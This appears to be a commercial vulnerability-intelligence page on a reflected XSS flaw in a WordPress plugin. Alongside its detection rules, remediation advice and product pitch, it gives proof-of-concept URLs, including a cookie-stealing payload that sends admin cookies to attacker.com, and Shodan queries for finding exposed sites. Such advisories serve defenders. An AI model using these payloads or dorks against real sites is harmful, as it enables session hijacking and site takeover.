☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Rob marsh, sj logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-31085

CVE-2024-31085 Cross-Site Scripting in Rob marsh, sj
📅 PUBLISHED: 2024-03-31 19:34 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.06%
👁️
0.06% probability
1.5× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-31085 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Post-Plugin Library, developed by Rob Marsh, SJ. The flaw exists in versions through 2.6.2.1 due to improper neutralization of user-supplied input during web page generation. An attacker can craft a malicious link that, when clicked by an authenticated administrator, executes arbitrary JavaScript in the context of the WordPress admin dashboard. This can lead to session hijacking, privilege escalation, or defacement. The CVSS score is 7.1 (High), and no official patch has been released. The EPSS score is 0.0%, indicating low active exploitation, but the risk remains for unpatched sites.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since the vendor has not provided a patch, site administrators must consider removing or replacing the plugin. The lack of a patch increases supply chain risk, as the plugin may be bundled in themes or custom deployments. No known malicious packages have been identified in the repository, but manual code review is recommended.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 7.1 (High)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: Required (UI:R) – victim must click a crafted link
  • Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: Low (A:L)

The threat level is High due to the low complexity and network-based attack vector, though user interaction is required. Successful exploitation can lead to admin-level actions within the WordPress dashboard.

Deep Dive & Mechanics

The vulnerability resides in the post-plugin-library plugin, which provides functionality for managing post-related plugins. The plugin fails to sanitize or escape user-supplied input in certain admin-facing pages, allowing an attacker to inject arbitrary HTML and JavaScript. When a victim (typically an administrator) clicks a crafted URL, the malicious script executes in the context of the WordPress admin panel.

The attack flow:

  1. Attacker crafts a URL containing a malicious payload in a query parameter (e.g., ?page=post-plugin-library&tab=<script>alert(1)</script>).
  2. Victim (logged-in admin) clicks the link.
  3. The plugin renders the unsanitized parameter directly into the page output.
  4. The browser executes the injected script, allowing the attacker to steal cookies, perform actions on behalf of the admin, or deface the site.

Since the plugin is no longer maintained, no patch is available. The only mitigation is to disable or remove the plugin.

Vulnerable vs. Patched Code

Vulnerable Code (version 2.6.2.1):

// In admin page rendering
$tab = $_GET['tab'];
echo '<div class="wrap"><h2>Post-Plugin Library</h2><p>Current tab: ' . $tab . '</p></div>';

Patched Code (hypothetical):

// Properly escape output
$tab = isset($_GET['tab']) ? esc_html($_GET['tab']) : '';
echo '<div class="wrap"><h2>Post-Plugin Library</h2><p>Current tab: ' . $tab . '</p></div>';

The vulnerable code directly echoes the $_GET['tab'] parameter without sanitization. The patched version uses esc_html() to neutralize HTML/JavaScript.

Exploitation & Lab Setup

Red Team

Proof-of-Concept (PoC) URL:

http://target.com/wp-admin/admin.php?page=post-plugin-library&tab=<script>alert('XSS')</script>

Advanced Payload (Cookie Stealing):

http://target.com/wp-admin/admin.php?page=post-plugin-library&tab=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>

Lab Setup:

  1. Install WordPress with the Post-Plugin Library plugin (version 2.6.2.1).
  2. Log in as an administrator.
  3. Craft the malicious URL and send it to the admin (e.g., via email or social engineering).
  4. Observe the XSS execution in the admin dashboard.

Blue Team

Detection:

  • Monitor web server logs for requests to /wp-admin/admin.php with page=post-plugin-library and suspicious tab parameters containing <script>, onerror, or javascript:.
  • Use WAF rules to block reflected XSS patterns in query strings.

Mitigation:

  • Immediately disable or remove the Post-Plugin Library plugin.
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Educate administrators about phishing links targeting admin panels.

Indicators of Compromise (IOCs)

  • URL Pattern: /wp-admin/admin.php?page=post-plugin-library&tab=*
  • Log Entry: GET /wp-admin/admin.php?page=post-plugin-library&tab=<script>...
  • Network Traffic: Outbound HTTP requests to attacker-controlled domains from the WordPress admin IP.
  • File Changes: Unexpected modifications to WordPress admin pages or plugin files.
  • Cookie Anomalies: New or modified cookies with unusual values.

Detection Engineering

YARA Rule

rule CVE_2024_31085_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against Post-Plugin Library"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-31085"
    strings:
        $url_pattern = /admin\.php\?page=post-plugin-library&tab=.*(<|%3C)/
        $xss_payload = /<script[^>]*>/
    condition:
        $url_pattern and $xss_payload
}

Sigma Rule

title: Reflected XSS Attempt Against Post-Plugin Library
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2024-31085
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'page=post-plugin-library&tab='
        cs-uri-query|re: '(<|%3C)script'
    condition: selection
falsepositives:
    - Legitimate use of similar parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-31085 Reflected XSS in Post-Plugin Library"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=post-plugin-library"; http_uri; content:"tab="; http_uri; pcre:"/(<|%3C)script/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable or delete the Post-Plugin Library plugin from all WordPress installations.
  2. Alternative: If the plugin is critical, manually patch the vulnerable code by adding esc_html() to all output of $_GET['tab'] and other user-supplied parameters.
  3. Long-term: Replace the plugin with a maintained alternative that provides similar functionality.
  4. WAF Rules: Deploy web application firewall rules to block reflected XSS patterns in query strings.
  5. User Training: Educate administrators to avoid clicking suspicious links, especially those containing admin URLs.
  6. Monitoring: Continuously monitor logs for exploitation attempts and IOCs.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/post-plugin-library"
http.html:"Post-Plugin Library"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-31085/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.